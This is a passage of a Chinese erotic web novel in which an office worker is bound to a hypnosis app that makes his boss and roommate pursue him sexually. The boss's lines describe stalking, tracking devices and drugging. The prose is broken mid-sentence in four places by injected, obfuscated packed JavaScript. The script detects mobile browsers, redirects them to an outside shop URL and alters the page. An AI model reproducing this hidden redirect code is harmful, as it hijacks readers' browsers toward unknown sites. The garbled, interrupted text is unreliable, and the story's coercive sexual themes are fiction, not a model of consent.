“那都回家那么久了,还没洗澡吗?”裴则遇继续凝视着屏幕,俊美的脸上似乎逐渐浮现出疑惑不解的情绪。 简清安唯恐被对方察觉到什么不对劲,努力装作镇定说: “我准备一会儿再洗。” 裴则遇听罢沉默了几秒。 就在简清安心脏快跃出胸膛,疯狂安慰自己不可能被看出什么时,对方忽然闷声低笑了几下。 因为这种情况下笑实在太过诡异了,所以简清安的神经不住更加紧张。 结果却听到对方说—— “也好, “一会儿不用再洗一次。 “那老婆,现在到床上去吧。” 简清安几乎是立即就炸毛了。 他呼吸紊乱几瞬,指节下意识压向桌面,随后跌跌撞撞地起身,只留下一句,“我觉得我还是应该去洗个澡”,就慌忙地撞进浴室。 甚至没来得及回应裴则遇的那句“我等你”。 简清安还是没忍住跑了。 ——虽然只是暂时的。 他怕裴则遇起疑心,到了浴室就开了花洒。 只是他喘着息,看着洗手台镜子里眼镜略歪的有些狼狈的自己,居然一时间不知道该说什么。 其实他还抱有一丝期望,想着或许裴则遇不会真做什么。 先前那些话明明也只是为了应付任务的口不择言…… 简清安思绪很乱,只能摘下眼镜,一边理着思绪一边脱下衣物。 可当温热的水花落在身上时,他还是无法平复下心情。 如果“加班”是做这种事情,那裴则遇给他打的“加班费”算什么,“嫖资”吗? 如果是真的给了话?到底打了多少? 简清安没想到自己规矩了一辈子,结果在上班两年后,莫名其妙地被迫卖身了。 当沐浴露打到手上,闻见那股气息时,简清安又控制不住地想起陆宇炀…… 外面还有个自己的“小三”。 混乱到简直有些淫.乱的场面。 最后简清安勉强理清楚思绪。 第一,任务完成后的确可以解除催眠状态,记忆会根据对方认知自动补全。 并且任务可能会判断完成度。 第二,有时候催眠提醒和任务结束会有延迟……不确定后续APP是否有其他地方会延迟。 最后一点是……任务并不会在最开始触发,而是有了一定的互动行为后才会出现。 比如说现在,他还没看见这次的任务是什么。 简清安咬着唇纠结,即便稍微理得有些头绪,也不是很敢出去面对裴则遇。 他穿着浴袍,吹着滴水的发丝,吹风机的声音一直在耳旁响。 或许是前两次都是无法拒绝的强制,现在裴则遇不在他的身旁,他神思逐渐有些飘忽…… 毕竟他也很难接受,自己真的要服从上司的指令,做那些羞耻不堪的事情,即便他知道对方会失去记忆。 况且,APP是说了需要结束状态,完成任务即可,但也没说催眠状态不会自动结束。 现在他在自己家里,裴则遇也很难做些什么吧。 简清安这样想着,恍惚地出了浴室,甚至真的有想挂断电话装死的准备时,他听见裴则遇低声开口道: “你还是在生我的气,所以一直避着我,对吗?” 简清安思绪一下子拉回到现实,却不知道应该回什么。 “在公司也不理会我,现在也故意分居……”裴则遇的声音逐渐落寞。 简清安听着难得有些无措,结果却听见裴则遇后面的话—— “我其实知道错了, “我以后不会往你的手机里装定位器, “监视器我也会卸载的,” 或许是听见简清安始终沉默,裴则遇以为对方还在生气,于是继续道, “真的……我也不会再找人跟踪调查你了。 “我也不会再往你睡前喝的牛奶里放——” “裴则遇——”简清安忍无可忍。 这是他第一次叫自己上司大名。 他总算知道APP剧情里的自己为什么要和对方分居了。 这简直是个变态吧……! 被吼了的裴则遇不但没有丝毫生气,反而语调还异常哀怨道: “看不到你的脸,我好难受…… “而且你住那么差的地方,我很心疼, “你也不习惯和我视频,我把你接回来一起住,不好吗?” 裴则遇字字句句都是怜惜和疼爱。 配上他磁性又不失清冷清晰的嗓音,很容易就让人被他引导着蛊惑得晕头转向。 但简清安在听到的瞬间已经神经呆滞,在大脑艰难转动间,神智清醒了许多,也彻底打消了挂断电话的念头。 他怕挂断电话的后一秒,裴则遇真的就找上门来。 到时候他还不知道陆宇炀是个什么状态—— 到时别在他家门口上演霸道上司狠狠爱,与老公分居是因为偷偷包养了年轻貌美男大,混乱捉奸的戏码…… 他规矩了二十多年的人生不能就这样被毁掉。 而且…… 简清安不甘心地看了一圈自己的房间。 近二十平的房间,在寸土寸金的A市,并且自己还有经常整理的习惯,明明整洁宽敞,舒适温馨,哪里来的“住得差”。 但他想起刚刚看裴则遇视频背景的装潢,和他说话时都隐隐存在的回音,又默默噤了声。 他似乎听过同事聊的八卦,这名新上司的来头好像真的不小。 不过接他过去更是让他无法应对了。 他总不能等对面清醒过后,说自己因为不满公司待遇,所以爬上床勾引他吧。 简清安自己都无奈,最后隐忍地拿起手机,还注意了让摄像头不要拍到自己脖颈往上。 裴则遇似乎看见他也穿着浴袍,露出隐约薄白肌肤的模样,隐隐吞咽了一下唾沫,嗓音在空荡的环境传递,低笑着道: “亲爱的,有时候看见你在公司穿着正装,身材被绷紧勾勒的模样,我都不知道我怎么做到不把你压着当场做了。” 简清安身躯微滞。 即便知道对面是因为被催眠才说的涩话,他脑海中也遏制不住地开始想着自己日常上班的模样。 明明,没有任何问题。 他有些羞耻地把手机放在床上,却心机地用被褥挡了一点镜头。 但裴则遇显然是不满了,自己解锁的“老婆画面”还越来越少了,不住低低摩挲似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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甚至还注意用另一只手捂了捂另一侧脖颈。 而裴则遇也在那瞬间失神。 简清安显然还没缓过来,瞳孔还是失焦的,平日戴的眼镜早被取了下来,那双琥珀般的眼眸就一览无遗地朦胧着,乌色的纤细眼睫还残存着未干的眼泪,将睫毛沾染得一簇一簇。 似乎难以接受到羞耻不堪,将自己闷在被褥里半天,雪白的面庞都被憋得通红,唇瓣咬得肿了起来,仿佛下一秒就要充血得破皮。 就像是被男人咬肿了一样。 裴则遇也忍不住了,闷哼一声。 简清安余光注意到什么,还在失焦的瞳孔陡然震颤,手机吓得跌落了下来。 镜头扫到白皙漂亮的腰间,裴则遇费了好大力气,才让自己喘得不像一条狗一样。 他的老婆……好漂亮。 是他的。 这点所谓“惩罚”根本无法消去他心中阴暗的占有欲。 监控器要放,定位器要放, 要好好守着他的老婆,不给别的男人丝毫可乘之机才对。 裴则遇的眼眸逐渐幽深混沌,然后低哑开口道: “还不够,老婆…… “夜还很长, “我们去客厅吧。” 在裴则遇见不到的地方,简清安面庞上出现了彻底的慌乱。 对面又在说什么疯话? “不行……”简清安想将“老公”两个字加上去,却发现还是有点难说出口。 如果他自己一个人在家就算了,他现在可是在和别人合租。 而且他还不确定陆宇炀现在是什么状态。 如果没被催眠,对方会不会以为自己饥渴淫.荡到在合租的公共区域玩这种play? 如果被催眠了……会不会上演捉奸戏码? 不对,对方是自己的“小三”,知道他有“老公”,应该会配合着进行躲藏掩饰。 这样想想,还不如陆宇炀是被催眠的状态。 至少记忆都会遗忘,他也不会社会性死亡。 简清安觉得自己一本正经地分析这些荒谬东西,实在是一件很诡异的事情。 并且更关键的是,他不知道裴则遇提出这个点,是不是真的怀疑了什么。 而裴则遇接着的话语也是: “不行吗? “为什么,你不是自己一个人住的吗?” 简清安从混乱之中勉强挣扎出理智,此刻也慌乱得脊背发汗。 羞耻这个借口已经用太多次了。 失去了说服力。 那他要怎么办…… 说和人合租所以拒绝吗? 但以刚刚裴则遇人设表现出的病态,很有可能会去调查那所谓的“合租室友”,那他到时“包养小三”的事情不就暴露了吗? 而就在这时,简清安看见手机发来了一条信息。 只有极其简短的两个字, 【开门】。 发来信息的,正是他的那名合租室友, 陆宇炀。 4. 第 4 章 简清安当即头皮发麻,喘息间透着手足无措的慌乱。 他的第一反应是混乱。 谁遇到这种场面都很难冷静下来,简清安也一样。 他闷在被褥里,颤着喘了几声,结果却听见裴则遇低哑地说: “我可以录下来自己听吗? “我有点受不了,老婆。” 简清安一怒之下怒了一下,反手将手机倒扣,剥夺了裴则遇的所有视角,另一只手指骨无力地抓了抓被褥,指尖攥得发白,强迫自己镇静下来。 陆宇炀只是给他发消息,没有做其他出格的事情。 但这个语气显然是被催眠的状态。 因为平时陆宇炀与他交流虽然不至于带上敬语,但态度还是很礼貌很有分寸的,不会像现在这样,一副急切又烦躁直接的模样。 他必须得完成任务,都到这了,他不可能半途而废。 简清安心里很快有了计较,于是装作平静说: “你等等,我去把阳台窗帘拉上。” 然后简清安站起身,稍微理了理褪去大半的浴袍,稳住发软的双腿,做了些心理准备就去开门。 因为他想陆宇炀既然选择发消息,证明还是清楚自己的“小三”身份。 既然如此,他只要尝试讲道理,还是能处理好的。 简清安这样想着出门,果不其然看见门外站着的宽肩窄腰的高大身影,他装作平静地反手合上了门,正准备开口,就被人揪着浴袍领口,抵在了冰冷坚硬的墙面。 对方的动作很快,但似乎还怕撞疼他,将手掌放在了他后脑勺垫住。 可接下来便是凑到耳旁的近乎咬牙切齿的一句: “不是说好留给我的吗?!” 陆宇炀没有说得多大声,但一字一句都注满了抑扬顿挫的情绪,配上他那双微微发红的狗狗眼,让简清安真有那么瞬间恍惚负罪。 但几乎是下一秒简清安又清醒过来。 首先不管那是不是自己为了完成任务的胡诌。 剧本如此,本身也和他没有关系。 但此刻简清安为了暂时安抚住对方,只能回: “别闹脾气,” 想了想,他又低声道, “就是因为不让他碰,所以才答应视频的。” 简清安还是很难做出撒谎的事情,只能憋出这种“模棱两可”的话。 但这句话落在陆宇炀的耳边,意思就理所应当变成了, 是因为给你留着,我才被迫答应视频的。 这句话原应该让他消气了,但陆宇炀看着此刻仓促裹着浴袍的简清安,内心不断涌出酸水,同时也无法遏制住自己无力的挫败感。 简清安皮肤薄,不仅容易留下痕迹,连激烈运动过后也容易全身泛粉。 此刻常戴的眼镜也被取下了,那双眼眸雾蒙蒙的,还残存着些晶莹的泪,都分明地昭示了他们刚刚在房间里做了些什么。 那么漂亮的姿态,就被别的男人肆意看了去…… 即便那家伙是对方的老公。 陆宇炀这时又恨自己是见不得光的小三身份,酸溜溜地说: “他这么努力都没有满足你,真不知道怎么那么热衷于一天到晚白费力气。” 简清安默了一下,似乎不知道怎么回答。 毕竟剧情中的自己,好像是因为对方太过了才分居的。 “好了,去收拾客厅里你的东西,” 简清安说这句话时都有些心虚,眼神不住飘忽,但还是硬着头皮说, “一会儿呆在房间别出来。” 虽然陆宇炀很少回来,并且回来一般都在自己的房间活动,所以房间之外很少他的生活痕迹。 但为了保险,还是要整理一遍。 “我不……”陆宇炀委屈得要命。 他还记得他今天就一直期待着和简清安做,于是早早回来,仔仔细细地洗了澡,还心不甘情不愿地把对方和他老公做的时候弄脏的衣服洗了。 结果现在被半路截胡了,他一时间很难接受。 他小狗似的埋在简清安的肩窝,贪婪地嗅着他的气息,闻到熟悉的沐浴露味道后,又为他们身上同样的厮混般的气息窃喜。 “你老公根本就做不好,” 陆宇炀卖力地舔吻着他的耳垂,还用犬牙轻轻抵磨着, “把他的电话挂了,和我做,好不好?” 简清安焦心着时间一长裴则遇会不会起疑,所以一时间甚至忘记制止陆宇炀。 而等不到回应的陆宇炀也知道了结果,眼眸的光逐渐黯淡,最后唇瓣凑到他的耳边,声线较平时都低哑道: “想要我不捣乱,可以。 “但我要在旁边看着,宝贝。” 简清安一听冷汗都要落下来了。 他无法想象这样的场面。 而且,他担心裴则遇刚刚是起了疑心,如果让他拿着镜头扫一圈,陆宇炀无论怎么躲藏都容易被发现。 现在容不得他继续犹豫了。 于是简清安只能尽量找个折中的方法。 “我,我录视频下来给你,可以吗? “到时候你,怎么看都行……” 简清安话语越来越弱,最后都要咬上自己的舌尖。 如果换作是以前,他从未想象过,自己会主动向别人提出录制自己的情.色视频, 还说给别人肆意观看。 只是现在是特殊情况,而且只是为了应付对方,后续也不一定要完成。 陆宇炀清楚自己没有讨价还价的地步了,最后只不甘心地摩挲着自己先前在耳后留下的吻痕——尽管已经快要淡到看不见,低声道: “那你要穿我的外套录视频,” 他冷笑, “毕竟我没有绿帽癖,对着被你老公撩拨难耐的你,我冲动不起来。” 简清安觉得“小三”说自己没有绿帽癖是一件很诡异的事。 但他也知道这是现在唯一的方式了。 于是他点头。 幸而陆宇炀递给他的并不是张扬的机车服外套,只是一件灰黑色的薄外套,简清安简单看了看,发现上面有个潮牌的loge。 中上价位,自己也算负担得起。 在陆宇炀收拾完客厅哀怨地行回自己房间后,简清安也深吸了一口气,回到了房间。 他解释说是不小心把浴袍弄脏了,临时换了一件衣服,才耽误了时间。 他准备等裴则遇再问时,就说是朋友不合尺码后给他的,没想到对方似乎没有丝毫怀疑,很自然地接受了。 只是他最后说了一句: “其实可以不穿的,老婆。” -- 简清安被对方折腾得够呛。 怕弄脏客厅沙发,他最后都半抵在地面,磨得膝盖都有些发红。 只是最后在裴则遇微笑眼神中无可抗拒的管教意味下,简清安还是乖乖爬上了沙发,扯着沙发巾是他最后的倔强。 直到结束,裴则遇才餍足般,低声喃喃道: “老婆……你也是爱我的,对吧。 “不然真的很难想象,如果我失去你的话,我会疯成什么样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427096|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简清安权当助兴的剧本台词。 等到任务结束,对面陷入沉默时,简清安知道时机到了,毅然决然地挂了电话。 随后他就瘫软在沙发上,足足喘息了好一会儿。 还好他平时有锻炼,虽然不算什么,但也让自己不至于被折腾得完全失了气力。 就在简清安挣扎着准备再洗一次澡时,他就听到不远处房门被打开的声音。 他的脊背一僵,听到脚步声一点点袭来,余光瞥过,发现果然是陆宇炀。 他的脸色很臭,但在自己视线望过来时,似乎又控制不住某些涟漪,最后只能堪堪摆出一个“我现在很不爽”的表情。 简清安身体微滞,扯着衣服想遮掩一下,却又想起那件外套正是陆宇炀的。 他其实也怕弄脏不好办,在开始前就半褪去一边了。 所以现在他掩也不是,不掩也不是,只能无奈道: “唔……来做什么。” 陆宇炀眸光不由得定在简清安身上,眼眸都快看直了,却又想起那是别的男人过享受的;待听到问话后,才欲盖弥彰地将脸扭到一旁,依旧摆出那副“我不爽”的表情,但说出的话语却是: “帮你清理。” 简清安喉头一哽。 这……倒也不用那么有服务意识。 “那个,我自己来。”简清安挣扎着想起身,结果被陆宇炀几步迈近,没等他反应,便不由分说地将他抱起。 他的话语也随之哽在咽喉。 结果抱起简清安的陆宇炀似是注意到了什么,眼神直勾勾地盯着他膝盖的红痕,忽然想到什么般,顿时愤恨道: “那个老男人让你用这个姿势?!” 简清安险些一呛,缓了好几秒才说: “不是,是我不小心弄的……” 陆宇炀显然是不相信,还要再问些什么,但话到了嘴边,又发现自己没有任何立场关心。 毕竟那是别人的“老公”。 别人夫妻间的情趣…… 自己这个“小三”的身份,又能说些什么呢。 于是他只能闷闷说: “刚好,你那里也给我买了药回来。 “我一会儿给你上药。” 这次简清安倒没有拒绝了。 因为这次陆宇炀的任务也很简单。 就是让他不要破坏视频聊天,并且自己最后安抚成功就行了。 陆宇炀被催眠后的人设,虽然看起来傲娇暴躁,但简清安觉得,只要用心哄的话,似乎也并不太难。 -- 陆宇炀觉得自己这一觉睡了很久。 并且隐隐有不愿意醒来的意向。 只是无论多美好的梦最终还是要醒过来的。 特别是他醒来,感受到某处布料异样的触感,才后知后觉意识到什么,随后冲向浴室。 陆宇炀感受到手上的黏腻,无端有些懊恼。 其实青春期到了之后,他就发现他的精力一直比常人旺盛,只是平时通过运动消耗,加上一定的发泄,让他很少出现这样的糗事。 他这是怎么了…… 昨晚做了什么春梦吗? 陆宇炀褪下内裤,挤了泵洗衣液,无意识开始回想着。 脑海中混沌模糊的记忆,也逐渐浮现出一个朦胧的身影。 修长纤韧的身躯,恰到好处的肌肉,似雾似琥珀的眼眸,往下是—— 陆宇炀手一颤,拎着的布料掉落,掌中的洗衣液滑落,溅到地面,瞳孔疯狂震颤。 等等, 那是—— 5. 第 5 章 他的春梦对象是…… 简清安?! 陆宇炀难以置信地想着。 怎么会呢。 他浓密的眼睫疯狂颤动,好半天都不能回过神来,半出神地俯身想拾起落到地面的内裤,指尖触到布料时又陡然想到脏污是由什么引起的,顿时像是触电般将指骨收回。 他将指节捏得很紧,腕骨都绷出青筋来。 他以前也做过春梦,虽然不清楚梦中的存在会是什么形象…… 但他肯定不会喜欢男人啊! 他从来就没有想象过这样的事情。 结果第一次春梦有具体对象…… 不仅是个男人,甚至还是他的室友。 一时间陆宇炀不知道应该对自己的性取向产生恍惚动摇,还是应该对自己春梦对象是室友而遭受到他道德层面的谴责。 但他可以确认是简清安。 虽然脸看不太清,能大概分辨的只有那双琥珀似的眼眸,但他记得很清楚。 简清安脖颈近锁骨处,是有一颗小得不明显,却异常鲜艳的红痣的。 ——他当然不会平白无故盯着人脖颈看。 是因为当初他刚搬进来时,在门外见到一位捧着很高纸箱的陌生青年。他很快就想到那是他素未谋面的室友,见他抬得有些吃力,他顺手就帮忙接了过去,正准备开口打招呼时,却看见纸箱后面的那张泛起微汗的薄白的脸。 素净、精致,清冷中有些温润,却又被那副眼镜压得些许平常。 剔透漂亮的眼眸就落在镜片后面。 看得出肌肤的底色白皙,但此刻不知道是不是忙活了一会儿,脖颈、脸颊、眼睑都晕起微红来,薄润的唇张着,小口地喘着气。 眼睛里藏不住什么神情,被他突然接过纸箱时,眼中露出明显的错愕。 像是受惊的鸟雀。 而在那瞬间,自己的视线也下意识偏移,却正正好注意到了对方脖颈的红痣。 陆宇炀喉结滚动,可能是平时帮朋友帮多了,他对什么人都有些自来熟,居然一时间忘记了应该先打招呼,询问意见,再去帮忙。 好在对方先反应过来,解了围说: “你就是陆宇炀吧?” 他一时间不知道说什么,只是点了点头。 没想到对方很短促地笑了一下,昙花般稍纵即逝道: “看起来是很像学体育的, “谢谢你的帮忙, “我是你的室友,简清安, “以后请多关照……” -- 回忆到此结束。 陆宇炀恍惚了一瞬,实在是无法接受这个事实。 从小认识到世界上有同性恋这个群体存在时,他只能保持不理解但尊重,直到自己被男生告白后,他永远都忘记不了那时浑身起鸡皮疙瘩直反胃得想吐的感觉。 可这次是怎么回事。 陆宇炀脚步虚浮,大脑一片混乱,将布料拾起后,一时间也没心思去洗,将花洒开了冷水自己去冷静了。 可是只是一时的错觉。 毕竟他和简清安甚至不太熟,真要有形象也不可能会是他。 等勉强安抚完自己混乱躁动的情绪后,陆宇炀才意识到自己手腕的刺痛。 他回过神来看向左手手腕,发现过了一晚,伤处不仅没有恢复,甚至还越来越红肿了。 他难得沉默了一下。 他忘记上药了吗? 昨晚好像太累了,从客厅回房间就直接睡了。 可是,正常睡下,手腕的伤也不会严重那么多吧,像是操劳什么操劳了很多一样。 想到昨晚的梦,又想到手腕的伤,他的脸一下子炸红。 难,难道,做梦也会那样吗—— 可怜的男大对春梦的经验还不是很足,最后迟疑地看了看自己的手腕,沉默地洗好澡洗好衣服,垂头丧气地出浴室了。 只是瞥见房间桌面上叠得整齐的灰黑色外套时,他又迟疑了一瞬。 他走过去,才想起那时他网购到不合尺码的外套,又懒得退,恰好听到同学喜欢这个潮牌,顺便问了一句他要吗。 得到激动的肯定答复后,他就准备顺手送人了。 这个尺码对他来说太小了,对那位同学来说是刚好。 想着,陆宇炀随意拎了起来,摸着质感很好的轻滑布料,想着是不是他昨晚怕忘记了,所以特意拿了出来。 真是,一场梦做得他昏天暗地的。 结果他的鼻尖却忽然嗅到一点馨香,陆宇炀怔了怔,等回过神来,他才发现他将鼻尖彻底埋进布料嗅闻了。 他的手腕一抖,堪堪松开,后知后觉反应过来自己像个变态一样。 怎么突然闻一件外套闻得那么起劲。 他忽然去闻,好像是闻到了沐浴露的香味。 是他室友之前给的,他记得是白玉兰的味道。 他记得他只在几天前试穿过一次,这个沐浴露留香那么久的吗? 还挺好闻的。 陆宇炀摸着这件外套,莫名其妙地不想给出去了。 但他很快给自己的行为找到了理由。 毕竟是送给同学,而且刚开学,正是打好关系的时候,送一件他试穿过的不合适。 他再买一件新的给他就是了。 想着,陆宇炀越闻越觉得这个味道好闻,打开手机,点进购物软件,回忆着搜了同款沐浴露。 最后下单了一个一升装。 赠品是两瓶同款分装。 -- 简清安醒了。 并没有预想中的神思倦怠,反而精神充盈,神经放松,心底还有股难以言喻的餍足感。 像是被好好滋养过精气般。 简清安被自己的想法弄得不住寒颤,随即那些记忆也翻涌而上…… 绑定催眠APP,上司被催眠后将自己按在办公室,差点在监控底下就直接做了,后续合租室友变成了自己的“小三”,晚上要应付上司的“视频聊天”,中途还险些——或者说,已经陷入了“背德”的状况…… 简清安脑海中不住回忆起昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427097|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚后续发生的事情。 所谓的“清理”他当然没有让陆宇炀做,只自己匆匆在浴室又冲洗了一遍,因为陆宇炀说要给他上药,所以对方也被邀请进了他的卧室。 他也没有让陆宇炀用买回来的新药,毕竟他自己常备有医药箱。更重要的是,就算有认知补全,简清安下意识还是想避免后续可能造成的暴露问题。 结果陆宇炀不知道是不是误会了什么。 穿着浴袍要涂药的时候,他说床上方便。 他想确实,毕竟磨的位置是双膝。 然后在涂药的过程中,他的双腿被很自然地按开固定好,紧接着袭来的,是陆宇炀身上滚烫炙热的温度。 简清安憋了几下,才忍住没给对方一巴掌。 毕竟现在对方脑子,不是,认知有问题,自己才算是“趁人之危”。 虽然他很不想得出这个结论,但所有人被催眠后,就好像都对自己有远超正常水平的性.欲方面的探求与索取。 弄得好像自己真是什么三流情.色漫画的主角,还是拥有特殊体质那种。 最后他只能以受伤要休息为由,并且保证下次一定给他,才又结束了这荒唐的一晚。 毕竟他真的不能和男人轮着这样…… 到底是成什么了。 昨天接二连三的事情发生,让他根本没办法反应,只能将行动交由自己的理性分析决策。现在终于有机会喘息后,一桩桩一件件的事情反扑,让他难免有些无力。 想着,简清安又愤恨地摸向床头的手机,想着没办法卸载的话,把手机直接丢了或卖了如何。 结果打开手机,就看见银行的汇款消息。 汇款1999元。 他第一时间回想自己最近有关钱财的项目,回忆无果后,又想着是不是骗子。 几秒后,才想起,不是骗子,自己也没买什么理财产品。 是昨晚的“嫖资”……不是,加班费。 不到两个小时,裴则遇给了1999。 自己一晚的“薪资”值1999。 简清安习惯性咬着唇,把冷硬的手机按在胸口里,指节走神地摩挲着手机壳…… 这到底算什么。 他规矩二十多年,入职那么体面的公司,本来觉得自己的前途不说一片光明,好歹也是平稳坦荡。 结果他的“坦途”没走几步,好像就要直步下海了。 想着,他又略带忐忑地打开微信,点进了裴则遇的聊天界面。 昨晚的痕迹依旧残存。 不一样的是在他和陆宇炀“厮混”的那段时间,裴则遇给他发来了新的消息。 昨晚上完药他就累得直接睡着了,所以没来得及查看。 对面只发来了很简短的三条消息。 第一条是2999的转账。 第二条是—— 【记得处理一下伤口,严重的话去医院,我给你批假】 最后一条是—— 【下次不要这样, 【我没有允许你下跪。】 6. 第 6 章 简清安:……? 他诡异的沉默了几秒。 下跪,什么下跪。 他只是不想让□□弄脏沙发,毕竟清理起来麻烦又不好解释,对面到底理解成什么了。 这种台词一样dom至极的话语。 可恶的资本家,他平时上班的态度已经够兢兢业业了吧,居然还妄想自己给他下跪。 下次,谁给他机会下次。 不过他看着这几条消息时,心里也难免一紧。 因为这个语气,明显是在被催眠的状态下发的。 昨天他完成任务才挂断的。 所以不确定后续是延迟,还是对方又陷入了催眠状态。 更关键是,裴则遇如果发现手机上的聊天记录,不会起疑吗? 和一名普通下属长达两个小时的通话记录,完全没印象的支出与转账…… 简清安光是想想都头疼。 再加上昨天的监控。 如果APP没有神通广大到把这些都给解决,他明天进的就不一定是公司,而是局子了。 只是简清安看着手机上的转账,总算知道为什么有人赚惯了快钱,就很难回到正常的生活了。 一个晚上接近5000,如果他真的有个总裁“老公”愿意这样给他钱,简清安也不清楚自己会堕落到什么地步。 可惜,这些都不是真的。 最后简清安关了手机,带上了自己的另一台旧手机。 他没有领裴则遇的转账。 毕竟他的“坦途”还想再走一会儿。 暂时没有直接下海的意愿。 -- 恋爱催眠APP还是像鬼一样地缠了上来。 即便昨天发生了一堆乱七八糟的事情,到了九点,简清安还是准时打卡,抱着大杯冰美式回到了自己的工位上。 他对咖啡的喜好只是一般,比起提神,咖啡对他来说更多是提供一种身份认同。 简单来说就是催眠自己是一个合格的社畜,他就会像牛马一样的干活。 在认识到暂时甩不开APP后,简清安内心也没有多大挣扎,毕竟他很早就认识到,只有保持理智清晰才能解决问题。 于是他抿了一口冰咖啡,想着自己也不能一直被动下去,既然暂时摆脱不了,至少也得掌握一些可以得知的信息。 简清安定了定心神,点开了出现在旧手机的显眼的爱心APP图标,那里的用户需知已经不见了,取而代之的是一整页简洁的用户信息。 类似简化般的游戏界面,显示着用户等级【lv.2】,旁边还有个浅粉色的经验条,进度已经推进了一些。 简清安这时才注意到“用户头像”,神思不禁一颤,险些没握紧手机。 那是—— 上面那张“用户头像”,是他被裴则遇压在私人办公室桌面时,眼镜微落,偏至一点鼻梁,琥珀色的眼眸都晕起薄雾,眼角坠泪,薄唇被吐出的喘息含得微湿的姿态。 角度带一点俯视,异常明显的凝视意味,凌乱衬衫,脖颈,锁骨,顺着往下…… 连简清安都觉得情.色至极的镜头。 他从未想过自己会出现这种姿态。 而且更令他毛骨悚然的是, 他根本不知道这个角度,会是谁“拍摄”的。 简清安默了默,握着冰美式的指节扼出冷凝的水珠,犹豫着,指节还是点了点头像。 毫无反应,没有更多的信息。 而他也看见,经验条下方显示了【lv.2】后新增的信息。 【耐力+6】 【精力+7】 简清安看见前面两个词条,才明白今天起床时精力充沛的原因,恍惚间居然还在想着能不能用于工作。 毕竟如果耐力和精力提升,他推进什么工作都会容易许多吧。 或许也没那么糟,如果情况可控的话,有没有利用起来的可能…… 直到后面他看到—— 【敏感度+3%】 【性.欲+2%】 简清安啪的一下关闭了手机,漆黑的屏幕映出他清浅的眼眸,与那张仓惶茫然的漂亮面庞。 他内心异常决绝地想。 ——这种不符合主流价值观的下流擦边APP,只有被销毁的下场。 黑曜石似的屏幕显出清晰的下颚线线条与锋利流畅的面庞轮廓。 寒潭似的双眸比屏幕的暗色还深,仿佛随时要融在其中一样,微微下压的眼尾显示出主人此刻并不愉悦的心情。 他昨晚没睡好。 裴则遇抿着唇角,在屏幕中绷成一条直线。 而且,无论是谁起身看见卧室里凌乱不堪的被褥,与客厅荒谬至极的场景,也能猜测到昨天到底发生了些什么。 裴则遇无法理解。 因为他很早就被确诊了性冷淡。 对性.欲方面没有任何兴致与冲动,对人与事物的情感异常淡薄。 他从小接受家里极其严苛的精英教育,力求所有事物做到完美而精确,对于情感的感知向来浅淡。 原先一直没有发现问题,直到他发现他连青春期的正常生理冲动都没有。以及年龄逐渐增长后家里人也意识到问题,去医院检查后才真正确诊为性.欲方面的兴致偏低。 不过不知道算不算幸运。他只是性.欲淡薄,但性功能和精子质量都没有问题。 在旁人眼中可能有些隐秘羞耻的信息,裴则遇回忆起来却与工作数据一样没有区别。 所以这才是怪异所在。 他几乎不可能产生性冲动, 昨晚到底是发生了什么,才让他看起来——像是沉迷到有些不知节制地发泄了无数次。 并且就算在梦里,他也是占有欲被填满的餍足感,与阴暗不安,仿佛什么事情脱离自己掌控的焦躁感不断交织…… 所以他才一夜没睡好,神经被反复折腾。 最后破天荒的不是由生物钟叫醒的他,而是提前了一个多小时醒来。 醒来后的他也意识到自己的神思浮乱,于是干脆提早到公司开始处理工作,企图让自己的理智回笼。 深色的屏幕无法映出他下眼睑的乌青,但裴则遇知道自己此刻的疲态肯定还未褪去。 不过工作确实让他清醒冷静了许多。 而这会儿空档,他也不由得回想起昨晚的情况。 他只记得自己回到家之后,用过晚餐就进入浴室沐浴,等洗完澡出来便就有些燥热难耐。 然后他回到客厅,将空调温度调低,准备拿起沙发上的手机向助理确定一下明天的行程。 结果,在手机上看见了什么。 再之后他的欲望无端的燃烧,理智断片,失控地追逐着那源源不断的快感。 他很确定他看见了什么。 裴则遇不由得拧起眉头,但表情的每寸变化都极为克制。 但,他诡异的没有任何印象了。 几度思索无果后,裴则遇终于按亮屏幕,睨了眼现在的时间,便解锁了手机。 手机界面还停留在微信的聊天列表。 数个工作群源源不断跳动的消息,与助理和秘书发来的工作汇报和行程安排,每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427098|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒都在刷新着列表顺序。 